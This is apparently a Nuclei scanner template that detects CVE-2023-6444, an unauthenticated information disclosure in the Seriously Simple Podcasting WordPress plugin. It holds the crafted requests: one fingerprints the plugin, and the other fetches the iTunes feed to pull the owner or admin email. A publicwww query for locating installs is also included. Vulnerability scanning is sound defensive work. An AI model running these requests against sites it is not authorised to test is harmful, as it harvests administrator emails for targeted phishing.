Seriously Simple Podcasting < 3.0.0 - Information Disclosure

id: CVE-2023-6444

info:
  name: Seriously Simple Podcasting < 3.0.0 - Information Disclosure
  author: s4e-io
  severity: medium
  description: |
    The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
  impact: |
    Unauthenticated attackers can send crafted requests to obtain podcast owner email addresses which typically reveal administrator email addresses, enabling targeted phishing attacks.
  remediation: Fixed in 3.0.0
  reference:
    - https://wpscan.com/vulnerability/061c59d6-f4a0-4cd1-b945-5e92b9c2b4aa/
    - https://github.com/Wayne-Ker/CVE-2023-6444-POC/blob/main/cve-2023-6444.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6444
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-6444
    epss-score: 0.02463
    epss-percentile: 0.82453
    cpe: cpe:2.3:a:seriously_simple_podcasting_plugin:seriously_simple_podcasting_plugin:2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: castos
    product: seriously-simple-podcasting
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seriously-simple-podcasting/"
  tags: cve,cve2023,wordpress,wp-plugin,exposure,wp,seriously-simple-podcasting,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/seriously-simple-podcasting")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /?feed=itunes HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"<itunes:email>","</itunes:email>")'
          - 'contains(content_type,"text/xml")'
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100bb689b7592db9e2719fa8bd13198adc8a05b72f728a1f70baf519710de3cfd29022100a8f892803f9ee5126d4d1c58db92f3cb7957cb48c782399a5db5c6cf6a97c3c5:922c64590222798bb761d5b6d8e72950